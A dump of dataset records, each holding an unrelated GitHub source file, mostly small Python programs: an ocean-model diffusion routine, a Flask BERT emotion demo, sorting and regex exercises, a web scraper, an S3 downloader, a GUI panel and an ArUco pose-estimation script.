vs.B2_gm = update(vs.B2_gm, at[1:-2, 2:-2, :], 0.25 * diffloc * npx.sum(vs.Ai_ez[1:-2, 2:-2, ...], axis=(3, 4)))\n\n \"\"\"\n zonal component at north face of 'T' cells\n \"\"\"\n diffloc = 0.25 * (\n K_gm_pad[2:-2, 1:-2, 1:-1] + K_gm_pad[2:-2, 1:-2, :-2] + K_gm_pad[2:-2, 2:-1, 1:-1] + K_gm_pad[2:-2, 2:-1, :-2]\n )\n vs.B1_gm = update(vs.B1_gm, at[2:-2, 1:-2, :], -0.25 * diffloc * npx.sum(vs.Ai_nz[2:-2, 1:-2, ...], axis=(3, 4)))\n\n return KernelOutput(B1_gm=vs.B1_gm, B2_gm=vs.B2_gm)\n\n\n@veros_routine\ndef isoneutral_diag_streamfunction(state):\n \"\"\"\n calculate hor. components of streamfunction for eddy driven velocity\n for diagnostics purpose only\n \"\"\"\n vs = state.variables\n settings = state.settings\n\n if not (settings.enable_neutral_diffusion and settings.enable_skew_diffusion):\n return\n\n vs.update(isoneutral_diag_streamfunction_kernel(state))\n\n\n@veros_routine\ndef check_isoneutral_slope_crit(state):\n \"\"\"\n check linear stability criterion from Griffies et al\n \"\"\"\n vs = state.variables\n settings = state.settings\n\n epsln = 1e-20\n if settings.enable_neutral_diffusion:\n ft1 = 1.0 / (4.0 * settings.K_iso_0 * settings.dt_tracer + epsln)\n delta1a = npx.min(\n vs.dxt[2:-2, npx.newaxis, npx.newaxis]\n * npx.abs(vs.cost[npx.newaxis, 2:-2, npx.newaxis])\n * vs.dzt[npx.newaxis, npx.newaxis, :]\n * ft1\n )\n delta1b = npx.min(vs.dyt[npx.newaxis, 2:-2, npx.newaxis] * vs.dzt[npx.newaxis, npx.newaxis, :] * ft1)\n delta_iso1 = min(vs.dzt[0] * ft1 * vs.dxt[-1] * abs(vs.cost[-1]), min(delta1a, delta1b))\n\n logger.info(\"Diffusion grid factor delta_iso1 = {}\", float(delta_iso1))\n if delta_iso1 < settings.iso_slopec:\n raise RuntimeError(\n \"Without latitudinal filtering, delta_iso1 is the steepest \"\n \"isoneutral slope available for linear stability of \"\n \"Redi and GM. Maximum allowable isoneutral slope is \"\n f\"specified as iso_slopec = {settings.iso_slopec}.\"\n )\n","repo_name":"team-ocean/veros","sub_path":"veros/core/isoneutral/isoneutral.py","file_name":"isoneutral.py","file_ext":"py","file_size_in_byte":11269,"program_lang":"python","lang":"en","doc_type":"code","stars":273,"dataset":"github-code","pt":"3"}
+{"seq_id":"10590799568","text":"from flask import Flask, render_template, request\nimport pandas as pd\nimport torch\nfrom transformers import BertTokenizer, BertForSequenceClassification\n\nfrom model import BertSentimentAnalysis\n\nbert_model = BertForSequenceClassification.from_pretrained('bert-base-uncased', cache_dir=\"./cache/\", num_labels=28)\n\ntokenizer = BertTokenizer.from_pretrained('bert-base-uncased', cache_dir=\"./cache/\")\n\nwith open(\"./data/emotions.txt\", \"r\") as f:\n emo_list = [line.strip() for line in f.readlines()]\n\nthresholds = pd.read_csv(\"./saving/demo/thresholds.csv\", index_col=0)\n\nmodel = BertSentimentAnalysis(bert_model, bert_model.config.hidden_size, 0.1, len(emo_list), dense_num=1)\n\n# run on cpu only \nmodel.load_state_dict(torch.load(\"./saving/demo/parameters.pth\", map_location=torch.device('cpu')))\n\nemoji_dict = {}\nwith open(\"./saving/demo/emoji_dict.txt\", \"r\") as f:\n for line in f.readlines():\n emo, emoji = line.strip().split(\" \")\n emoji_dict[emo] = emoji\n\napp = Flask(__name__)\n\n@app.route('/', methods=['GET', 'POST'])\ndef home():\n if request.method == \"POST\" :\n input_text = request.form.get(\"input_text\")\n\n encoding = tokenizer.encode_plus(\n input_text,\n add_special_tokens=True,\n max_length=128,\n padding=\"max_length\",\n truncation=True,\n return_attention_mask=True,\n return_tensors=\"pt\"\n )\n\n input_ids = encoding[\"input_ids\"].squeeze()\n attention_mask = encoding[\"attention_mask\"].squeeze()\n logits = model(input_ids.unsqueeze(0), attention_mask.unsqueeze(0))\n logits = logits.squeeze()\n logits = torch.sigmoid(logits)\n predictions = []\n for i in range(len(emo_list)):\n if logits[i] > thresholds.loc[emo_list[i], \"threshold\"]:\n emotions = emoji_dict[emo_list[i]] + \" : \" + emo_list[i]\n predictions.append(emotions)\n return render_template(\"index.html\", predictions=predictions)\n return render_template(\"index.html\")\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=8888)","repo_name":"hnyls2002/KFC-emo","sub_path":"demo_web.py","file_name":"demo_web.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10333848078","text":"# Heap Sort\ndef heapify(a, n, i):\n\n print(\"a = {}, n = {} and i = {}\".format(a,n,i))\n\n largest = i\n l = 2*i + 1\n r = 2*i + 2\n\n print(\"Current root is {} with left = {} and right = {}\".format(a[i], a[l] if l < n else None, a[r] if r a[largest]:\n largest = l\n\n if r < n and a[r] > a[largest]:\n largest = r\n\n if largest != i:\n a[i],a[largest] = a[largest], a[i]\n print('\\n')\n heapify(a, n, largest)\n\ndef heap_sort(a):\n n = len(a)\n print(\"About to heapify {}\".format(a))\n for i in range(int(n/2) - 1, -1, -1):\n print('\\n')\n heapify(a, n, i)\n print(\"\\nDone! \\nHeapified => {}\".format(a))\n for i in range(n-1, -1, -1):\n a[0],a[i] = a[i], a[0]\n print('\\n')\n heapify(a, i, 0)\n\n\na = [1,2,3,4,5,6,7,8]\nheap_sort(a)\nprint(a)","repo_name":"AamirAnwar/PythonLab","sub_path":"heap_sort.py","file_name":"heap_sort.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"36016911072","text":"n = 3\narr1 = []\narr2 = []\narr3 = []\nfit = []\nfor i in range(3):\n x = int(input())\n arr1.append(x)\nif sum(arr1) // 3 > 70:\n fit.append(sum(arr1) // 3)\nfor i in range(3):\n x = int(input())\n arr2.append(x)\nif sum(arr1) // 3 > 70:\n fit.append(sum(arr2) // 3)\nfor i in range(3):\n x = int(input())\n arr3.append(x)\nif sum(arr1) // 3 > 70:\n fit.append(sum(arr3) // 3)\nprint(fit)\nmax = fit[0]\nc = 0\nfinal = []\nfor i in range(1,len(fit)):\n if max < fit[i]:\n max = fit[i]\n c = i\n if max == fit[i]:\n final.append(i)\nif fit[0] == max and 0 not in final:\n final.append(0)\nfinal.sort()\nif len(final) > 1:\n for i in range(len(final)):\n print(\"most fit candided is {} with {} level\".format(i,max))\nelse:\n print(\"most fit candided is{} with {} level\".format(c, max))\nprint(fit)\nprint(final)\n\n","repo_name":"Harshit975shukla/test","sub_path":"oxygen.py","file_name":"oxygen.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35343792213","text":"# # 아이디 규칙에 맞지 않는 아이디를 입력했을때, 입력된 아이디와 유사하면서 규칙에 맞는 아이디를 추천해주는 프로그램을 개발하는 것\n# # 규칙\n# # 아이디의 길이는 3자 이상 15자 이하여야 합니다.\n# # 아이디는 알파벳 소문자, 숫자, 빼기(-), 밑줄(_), 마침표(.) 문자만 사용할 수 있습니다.\n# # 단, 마침표(.)는 처음과 끝에 사용할 수 없으며 또한 연속으로 사용할 수 없습니다.\n\n# import re\n\n# # 다음과 같이 7단계의 순차적인 처리 과정을 통해 신규 유저가 입력한 아이디가 카카오 아이디 규칙에 맞는 지 검사하고 규칙에 맞지 않은 경우 규칙에 맞는 새로운 아이디를 추천\n# # 신규 유저가 입력한 아이디가 new_id 라고 한다면,\n# # 1단계 new_id의 모든 대문자를 대응되는 소문자로 치환합니다.\n# # 2단계 new_id에서 알파벳 소문자, 숫자, 빼기(-), 밑줄(_), 마침표(.)를 제외한 모든 문자를 제거합니다.\n# # 3단계 new_id에서 마침표(.)가 2번 이상 연속된 부분을 하나의 마침표(.)로 치환합니다.\n# # 4단계 new_id에서 마침표(.)가 처음이나 끝에 위치한다면 제거합니다.\n# # 5단계 new_id가 빈 문자열이라면, new_id에 \"a\"를 대입합니다.\n# # 6단계 new_id의 길이가 16자 이상이면, new_id의 첫 15개의 문자를 제외한 나머지 문자들을 모두 제거합니다.\n# # 만약 제거 후 마침표(.)가 new_id의 끝에 위치한다면 끝에 위치한 마침표(.) 문자를 제거합니다.\n# # 7단계 new_id의 길이가 2자 이하라면, new_id의 마지막 문자를 new_id의 길이가 3이 될 때까지 반복해서 끝에 붙입니다.\n\n\n# def solution(new_id):\n# answer = \"\"\n# new_id = new_id.lower() # 1단계\n# new_id = re.sub(\"[^a-zA-Z0-9-_.]\", \"\", new_id) # 2단계\n# new_id = re.sub(\"[..]+\", \".\", new_id) # 3단계\n# new_id = re.sub(\"^[.]|[.]$]+\", \"\", new_id) # 4단계\n# if new_id == \"\": # 5단계\n# new_id = \"a\"\n# if len(new_id) >= 16: # 6단계\n# new_id = new_id[:15]\n# new_id = re.sub(\"[.]$\", \"\", new_id)\n# while len(new_id) < 3:\n# new_id += new_id[-1]\n# answer = new_id\n# return answer\n\n\n# print(solution(\"z-+.....^.\"))\n\n# def solution(phone_number):\n# answer = \"\"\n# nums = len(phone_number) - 4\n# answer = (nums * \"*\") + phone_number[-4:]\n# return answer\n\n\nimport re\n\n# re.sub('패턴', '바꿀문자열', '문자열', 바꿀횟수)\n\n\ndef solution(new_id):\n new_id = new_id.lower() # 1단계\n new_id = re.sub(\"[^a-z0-9-_.]\", \"\", new_id) # 2단계\n new_id = re.sub(\"(([.])\\\\2{1,})\", \".\", new_id) # 3단계\n new_id = re.sub(\"[^\\.|\\.$]\", \"\", new_id) # 4단계\n if len(new_id) == 0:\n new_id = \"a\" # 5단계\n new_id = re.sub(\"\\.$\", \"\", new_id[:15]) # 6단계\n while len(new_id) < 3:\n new_id += new_id[-1] # 7단계\n\n return new_id\n\n\nprint(solution(\"=.=\"))\n","repo_name":"Roadman-Lee/pracAlgorythm","sub_path":"algorythm/a211203.py","file_name":"a211203.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6417084504","text":"from bs4 import BeautifulSoup\nimport requests\n\ndef get_top_products():\n url = \"https://www.producthunt.com\"\n response = requests.get(url)\n # Fetching the content of the URL\n if response.status_code != 200:\n return None\n soup = BeautifulSoup(response.content, 'html.parser')\n product_div = soup.find('div', attrs={'data-test': 'homepage-section-0'})\n if not product_div:\n return None\n products = {}\n product_links = product_div.find_all('a')\n for link in product_links:\n is_post = link['href'].startswith('/post')\n text = link.get_text(strip=True)\n u = f\"{url}{link['href']}\"\n if is_post and text:\n try:\n products[u].append(text)\n except:\n products[u] = [text]\n return products\n\n\ndef format_url_and_values(dict_data):\n result = [] \n for url, values in dict_data.items():\n formatted_values = ': '.join(values)\n result.append(f\"[{formatted_values}]({url})\")\n return result","repo_name":"guarilha/james","sub_path":"src/services/producthunt.py","file_name":"producthunt.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"19827205161","text":"'''\r\nCreated on 18 de abr de 2017\r\n\r\n@author: rondy - radioanori\r\n'''\r\n\r\nfrom django import forms\r\n\r\nfrom .models import Comentario, Anuncio, Attachment, ModelForm, Image\r\nfrom multiupload.fields import MultiFileField\r\n\r\n\r\nclass PostForm(forms.ModelForm):\r\n\r\n class Meta:\r\n model = Comentario\r\n fields = ('comentario',)\r\n\r\n\r\nclass PostFormClassificado(forms.Form):\r\n \r\n titulo = forms.CharField()\r\n valor = forms.FloatField()\r\n contato = forms.CharField()\r\n #descricao = forms.Textarea()\r\n imagem = forms.FileField()\r\n \r\n class Meta:\r\n model = Anuncio\r\n \r\n \r\n #widgets={\"files\":forms.FileInput(attrs={'id':'files','required':True,'multiple':True})}\r\n\r\nclass FormClassificado(forms.ModelForm):\r\n \r\n class Meta:\r\n model = Anuncio\r\n fields = ['titulo',\r\n 'valor',\r\n 'contato',\r\n 'descricao',]\r\n \r\n files = MultiFileField(min_num=1, max_num=3, max_file_size=1024*1024*5)\r\n \r\n def save(self, commit=True):\r\n instance = super(FormClassificado, self).save(commit)\r\n for each in self.cleaned_data['files']:\r\n Attachment.objects.create(file=each, message=instance)\r\n \r\n return instance\r\n\r\nclass AddForm(ModelForm):\r\n imagens = MultiFileField(min_num=1, max_num=20)\r\n \r\n \r\n class Meta:\r\n model = Anuncio\r\n fields = ('titulo', \r\n 'valor',\r\n 'contato',\r\n 'descricao', \r\n 'imagens',)\r\n\r\n def save(self, commit=True):\r\n \r\n first_images = self.cleaned_data.pop('imagens')\r\n instance = super(AddForm, self).save()\r\n cont = 0\r\n for each in first_images:\r\n first = Image(image=each, profile=instance, cont=cont)\r\n cont = cont + 1\r\n first.save() \r\n \r\n return instance\r\n","repo_name":"rondybrandao/radioanori","sub_path":"radioanori/radiosite/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71688815761","text":"# -*- coding:utf-8 -*-\n\nimport re\n\ndef test04():\n # - 操作字符串\n string = \"\"\"百度推广\"\"\"\n\n # - 正则规则\n url_rule = re.compile(r'href=\"(.*?)\"')\n url_name = re.compile(u'>([\\u4e00-\\u9fa5]+)<')\n\n # - 正则匹配结果\n url_results = re.findall(url_rule,string)\n name_results = re.findall(url_name,string)\n\n # - 打印Url\n for line in url_results:\n print(line)\n\n # - 打印Name\n for line in name_results:\n print(line)\n\nif __name__ == \"__main__\":\n test04()\n","repo_name":"GavenHwang/reptile","sub_path":"demo/get_html04_re.py","file_name":"get_html04_re.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70434779602","text":"from client.controllers import Controller\nfrom client.mixins import (CheckTestFilesMixin, PlaybackMixin,\n StartScriptMixin, TPSLoggingMixin)\nfrom client.utils.tv.nonsoap_commands import ping\n\n\nclass ControllerWithTVReboot(Controller,\n CheckTestFilesMixin,\n PlaybackMixin,\n StartScriptMixin,\n TPSLoggingMixin\n ):\n \"\"\"\n Controller is designed to start some playback\n (0 or more streams at the same time), execute test script if requested,\n and execute TV reboot as the MAIN action.\n Step description:\n 1. Check is all test files are present and terminate test\n if some of mandatory files are disapper.\n 2. Check if tested TV is available by given IP. Test will be terminated\n if IP is not reachable\n 3. Start serial logging: pairing TV with current PC, set required\n logging levels, and start collect serial logs to log file.\n Test will be continued without log collection if something went wrong\n 4. Start playback in background of all requested streams.\n Test will be terminated if playback is not started for any of streams.\n 5. Start test script if it is requested (interpritator is not \"None\")\n and wait till is finished (by the end of script execution,\n or by timeout).\n 6. Reboot tested TV.\n 7. Stop logging and playback processes and print footer at the end of test log\n\n This controller is developed to reboot ONLY knowed TV sets.\n Nothing will happend if tested device is unknown device. Test will be\n failed if test script or reboot is not executed correctly.\n \"\"\"\n\n def __init__(self, params, *args, **kwargs):\n super().__init__(params, *args, **kwargs)\n self._interpreter = params.interpreter\n self._timeout = params.timeout\n self._test_step_patern = params.test_step_patern\n # mixins\n self._serial_log_setting = params.serial_log_setting\n self._player_settings = params.player_settings\n self._test_dir = params.test_dir\n self._log_dir = params.log_dir\n\n def _execute_test(self):\n if not ping.check_ip(self._tvip):\n raise RuntimeError('Device under test is unreachable.')\n\n self.start_serial_logging()\n\n self.start_playback()\n\n try:\n self.reboot_tv()\n except:\n status = 'TEST_FAILED'\n else:\n status = 'TEST_PASSED'\n finally:\n self._testlog('\\nTest result: {}'.format(status))\n","repo_name":"papachappa/client","sub_path":"client/controllers/with_tvreboot.py","file_name":"with_tvreboot.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24656457182","text":"import math\nimport sys\n\n\ndef sum_f(a,b):\n return int(a + b)\n\ndef sub(a,b):\n if a >= b:\n return a - b\n else:\n return b - a\n\n\ndef mul(a,b):\n return a * b\n\n\ndef div(a,b):\n if a >= b:\n return a / b\n else:\n return b / a\n\ndef square_root(a):\n return int(math.sqrt(a))\n\ndef floor_div(a,b):\n if a >= b:\n return a // b\n else:\n return b // a\n\n\ndef modulo(a , b):\n return a % b\n\n\ndef prime_check(a):\n ct=0\n for i in range(1,a+1):\n if(a % i == 0):\n ct+=1\n else:\n continue\n if ct <= 2 :\n return \"Prime !\"\n else:\n return \"Non-prime !\"\n\n\n\ndef check_fibonacci(n):\n index = 0\n l = []\n for i in range(0, n):\n\n if len(l) <= 1:\n l.append(i)\n\n else:\n\n l.append(l[index + 1] + l[index])\n index += 1\n\n return l\n\n\n","repo_name":"ankitmohapatra12/Python-Practice","sub_path":"TopGear/Modules & Packages/Calculator Package/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74788161040","text":"import re\nfrom typing import Match\nf=open(\"data.txt\",'r')\nresult=f.read()\npattern = re.compile(r'\\d{2}(SOECE)\\d{5}')\nfile = pattern.finditer(result)\ne_no = []\nfor line in file:\n e_no.append(line)\nfor i in e_no:\n print(i)\nf.close()\n\n","repo_name":"disha111/Python_Beginners","sub_path":"Assignment 2/e_no.py","file_name":"e_no.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22169170363","text":"from customtkinter import CTk, CTkFrame, CTkLabel, CTkButton, TOP, BOTH, END, NORMAL, DISABLED # type: ignore\nfrom GUI.constants import *\nfrom threading import Thread\n\n\nclass Semi(CTk):\n from GUI.GUI import GUI\n\n def __init__(self, app: GUI):\n super().__init__() # type: ignore\n self.frame_semi = CTkFrame(app, fg_color=BG_COLOR_1)\n f = self.frame_semi\n text = app.font_text\n title = app.font_title\n self.app = app\n self.label_semi = CTkLabel(f, font=title, text=\"Semiauto mode\")\n\n self.button_semi_start = CTkButton(\n f,\n font=text,\n text=\"\\u23F5\",\n width=WIDTH_3,\n fg_color=OK_COLOR,\n hover_color=OK_COLOR_HOVER,\n command=lambda: self.action(\"start\"),\n )\n self.button_semi_pause = CTkButton(\n f,\n font=text,\n text=\"\\u23F8\",\n width=WIDTH_3,\n fg_color=INFO_COLOR,\n hover_color=INFO_COLOR_HOVER,\n command=lambda: self.action(\"pause\"),\n )\n self.button_semi_stop = CTkButton(\n f,\n font=text,\n text=\"\\u23F9\",\n width=WIDTH_3,\n fg_color=ERR_COLOR,\n hover_color=ERR_COLOR_HOVER,\n command=lambda: self.action(\"stop\"),\n )\n self.button_semi_continuous = CTkButton(\n f,\n font=title,\n text=\"\\u21AC\",\n width=WIDTH_3,\n command=lambda: self.action(\"continuos\"),\n )\n\n self.serial = app.com\n self.frame_semi.grid_columnconfigure(0, weight=1)\n self.frame_semi.grid_columnconfigure(1, weight=1)\n self.frame_semi.grid_columnconfigure(2, weight=1)\n self.frame_semi.grid_columnconfigure(3, weight=1)\n self.label_semi.grid(row=0, column=0, columnspan=4, pady=PADY_INSIDE_FRAME, padx=PADX) # type: ignore\n self.button_semi_start.grid(row=1, column=0, pady=PADY_INSIDE_LAST, sticky=\"we\", padx=2) # type: ignore\n self.button_semi_pause.grid(row=1, column=1, pady=PADY_INSIDE_LAST, sticky=\"we\", padx=2) # type: ignore\n self.button_semi_stop.grid(row=1, column=2, pady=PADY_INSIDE_LAST, sticky=\"we\", padx=2) # type: ignore\n self.button_semi_continuous.grid(row=1, column=3, pady=PADY_INSIDE_LAST, sticky=\"we\", padx=2) # type: ignore\n # self.show()\n\n def action(self, button: auto_option) -> None:\n if button == \"start\":\n self.app.log('semi', 'info', 'Request exposure start...')\n self.button_semi_start.configure(state=DISABLED) # type: ignore\n self.button_semi_pause.configure(state=NORMAL) # type: ignore\n self.button_semi_stop.configure(state=NORMAL) # type: ignore\n self.button_semi_continuous.configure(state=DISABLED) # type: ignore\n if(self.app.app_state != 'pause'):\n Thread(target=self.app.smart.start_smart_exposure).start()\n self.app.change_app_state(button)\n elif button == \"pause\":\n self.app.change_app_state(button)\n self.app.log('semi', 'info', 'Request exposure pause...')\n self.button_semi_start.configure(state=NORMAL) # type: ignore\n self.button_semi_pause.configure(state=DISABLED) # type: ignore\n self.button_semi_stop.configure(state=NORMAL) # type: ignore\n self.button_semi_continuous.configure(state=DISABLED) # type: ignore\n elif button == \"stop\":\n self.app.change_app_state(button)\n self.app.log('semi', 'info', 'Request exposure stop...')\n self.button_semi_start.configure(state=NORMAL) # type: ignore\n self.button_semi_pause.configure(state=NORMAL) # type: ignore\n self.button_semi_stop.configure(state=NORMAL) # type: ignore\n self.button_semi_continuous.configure(state=NORMAL) # type: ignore\n elif button == \"continuos\":\n self.app.change_app_state(button)\n self.app.log('semi', 'info', 'Request loop start...')\n self.button_semi_start.configure(state=DISABLED) # type: ignore\n self.button_semi_pause.configure(state=NORMAL) # type: ignore\n self.button_semi_stop.configure(state=NORMAL) # type: ignore\n self.button_semi_continuous.configure(state=DISABLED) # type: ignore\n Thread(target=self.app.smart.start_smart_loop).start()\n \n\n def show(self):\n self.frame_semi.pack(pady=PADY_FRAME, padx=PADX, side=TOP, fill=BOTH) # type: ignore\n\n def hide(self):\n self.frame_semi.pack_forget()\n","repo_name":"GibranValle/FPDCalibratorBT","sub_path":"GUI/Semi.py","file_name":"Semi.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14999459400","text":"\"\"\"\nEP-3\nWhat is the largest prime factor of the number 600851475143 ?\n\"\"\"\nimport math\nprime_list = []\nnum = 600851475143 \n\ndef prime_factors(num):\n num_rt = math.floor(math.sqrt(num))\n i = 2\n while i <= num_rt:\n if num % i == 0: # checks if i is prime\n while num % i == 0: # This loop removes the composites!\n num = num / i\n prime_list.append(i) # list holds only prime numbers\n i += 1\n \n return max(prime_list) \nprint(prime_factors(num))\n\n \n\n","repo_name":"supria68/ProjectEuler","sub_path":"python/largest_prime.py","file_name":"largest_prime.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43231499050","text":"#!/usr/bin/env python\n# encoding: utf-8\n'''\n@author: kafkal\n@contact: 1051748335@qq.com\n@software: pycharm\n@file: 19.py\n@time: 2019/1/29 029 17:09\n@desc:删除倒数第N个链表节点\n'''\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\ndef removeNthFromEnd(head, n):\n \"\"\"\n :type head: ListNode\n :type n: int\n :rtype: ListNode\n \"\"\"\n Nodelist = []\n while head != None:\n Nodelist.append(head)\n head = head.next\n length = len(Nodelist)\n if length - n - 1 >= 0:\n if n != 1:\n Nodelist[length-n-1].next = Nodelist[length-n+1]\n return Nodelist[0]\n else:\n Nodelist[length-n-1].next = None\n return Nodelist[0]\n elif n == length and length>1:\n return Nodelist[1]\n else:\n return None\n\nl1 = ListNode(1)\nl2 = ListNode(2)\n# l3 = ListNode(3)\n# l4 = ListNode(4)\nl1.next = l2\n# l2.next = l3\n# l3.next = l4\nprint(removeNthFromEnd(l1,1).val)","repo_name":"kafkalm/LeetCode","sub_path":"LeetCode/19.py","file_name":"19.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71030701842","text":"import boto3\nimport os\nimport json\nimport pickle\n\ndef save_data(filename, data):\n #Storing data with labels\n a_file = open(filename, \"wb\")\n pickle.dump(data, a_file)\n a_file.close()\n\n\ndef get_all_s3_objects(s3, **base_kwargs):\n continuation_token = None\n while True:\n list_kwargs = dict(MaxKeys=1000, **base_kwargs)\n if continuation_token:\n list_kwargs['ContinuationToken'] = continuation_token\n response = s3.list_objects_v2(**list_kwargs)\n yield from response.get('Contents', [])\n if not response.get('IsTruncated'): # At the end of the list?\n break\n continuation_token = response.get('NextContinuationToken')\n\n\nbucket_name = \"knowledgegraphs-representationandreasoning-publicdataset-new\"\ns3 = boto3.client('s3')\n\n\n######### Enter year and type of data\n## True if data is for pre-training. Else, fine tuning data (True or False)\npretraining = True\n\n## Enter query year (2009 - 2014 for pre-training, 2016 - 2017 for fine-tuning)\nquery_year = 'QTR1'\n######################\n\n\nprefix='BERTPretrain_10KReports_cleaned/2021/'\n\n\nfor obj in get_all_s3_objects(boto3.client('s3'), Bucket=bucket_name, Prefix=prefix):\n file_path = obj.get('Key')\n\n if not file_path.endswith('.pkl'):\n continue\n\n qtr = file_path.split('/')[2].split('-')[0].strip()\n folder = '/'.join(file_path.split('/')[:3]) + '/'\n os.makedirs(folder, exist_ok=True)\n\n #print(qtr)\n print(file_path)\n\n\n ## Read a file from s3-bucket\n data = s3.get_object(Bucket=bucket_name, Key=file_path)\n data = pickle.loads(data['Body'].read())\n\n save_data(file_path, data)\n\n","repo_name":"akshat57/useful_functions","sub_path":"download_s3.py","file_name":"download_s3.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71184270802","text":"#Write a program for bubble sort using python for the list a=[12, 5, 7, 18, 11, 6, 12, 4, 17, 1] \r\ndef bubble_sort(list1): \r\n # Outer loop for traverse the entire list \r\n n=len(list1)\r\n for i in range(n): \r\n for j in range(n-1): \r\n if(list1[j]>list1[j+1]): \r\n temp = list1[j] \r\n list1[j] = list1[j+1] \r\n list1[j+1] = temp \r\n return list1 \r\n \r\na=[12, 5, 7, 18, 11, 6, 12, 4, 17, 1] \r\nprint(\"The sorted list is: \", bubble_sort(a)) ","repo_name":"amycoolkarni51/Python","sub_path":"bubblesort.py","file_name":"bubblesort.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2535454687","text":"import cv2\nimport cv2.aruco as auo\nimport numpy as np\nimport PIL\nimport imutils\nfrom imutils.video import VideoStream\nimport time\nimport sys\nfrom calibration import calibrate\nimport os\n\nprint(\"[INFO] Use Ctrl+C to exit.\")\nprint(\"[INFO] calibrating camera...\")\nret,camera_matrix,dist_coeffs = calibrate()\nif ret:\n\tprint(\"[INFO] attained camera calibration values.\")\nelse:\n\tprint(\"[ERROR] failed to get camera calibration values...\")\n\narucoDict = auo.Dictionary_get(auo.DICT_6X6_1000)\narucoParams = auo.DetectorParameters_create()\n\nprint(\"[INFO] starting video stream...\")\nvs = VideoStream(src=0).start()\ntime.sleep(2.0)\n\nwhile True:\n\t# grab the frame from the threaded video stream and resize it\n\t# to have a maximum width of 1000 pixels with , width=1000.\n\tframe = vs.read()\n\tframe = imutils.resize(frame)\n\t# detect ArUco markers in the input frame\n\t(corners, ids, rejected) = auo.detectMarkers(frame,\n\t\tarucoDict, parameters=arucoParams)\n\tif len(corners) > 0:\n\t\t# flatten the ArUco IDs list\n\t\tids = ids.flatten()\n\n\t\t#print('corners: ', corners, ' ids: ', ids)\n\t\t# loop over the detected ArUCo corners\n\t\t#for (markerCorner, markerID) in zip(corners, ids):\n\t\trvecs, tvecs, _objPoints = auo.estimatePoseSingleMarkers(corners,0.05,camera_matrix,\n\t\t\t\t\t\t\t\t\tdist_coeffs)\n\t\t#print(tvecs)\n\t\tfor i in range(len(rvecs)):\n\t\t\trvec = rvecs[i]\n\t\t\ttvec = tvecs[i]\n\t\t\tprint(tvec, \" ID: \", ids[i])\n\t\t\tauo.drawAxis(frame,camera_matrix,dist_coeffs,rvec,tvec,0.1)\n\n\t\t\t# extract the marker corners (which are always returned\n\t\t\t# in top-left, top-right, bottom-right, and bottom-left\n\t\t\t# order)\n\t\tfor (markerCorner, markerID) in zip(corners, ids):\n\t\t\tmcorners = markerCorner.reshape((4, 2))\n\t\t\t(topLeft, topRight, bottomRight, bottomLeft) = mcorners\n\t\t\ttopLeft = (int(topLeft[0]), int(topLeft[1]))\n\t\t\tcv2.putText(frame, str(markerID),\n\t\t\t\t(topLeft[0], topLeft[1] - 15),\n\t\t\t\tcv2.FONT_HERSHEY_COMPLEX,\n\t\t\t\t0.5, (0, 0, 255), 2)\n\n\tcv2.imshow(\"Frame\", frame)\n\tkey = cv2.waitKey(1) & 0xFF\n\tif key == ord(\"q\"):\n\t\tbreak\n\tif key == ord(\"s\"):\n\t\ttime.sleep(15000)\n\ncv2.destroyAllWindows()\nvs.stop()\nos._exit()\n","repo_name":"dhudetz/RoboArm","sub_path":"fiducials/3d_scanner.py","file_name":"3d_scanner.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
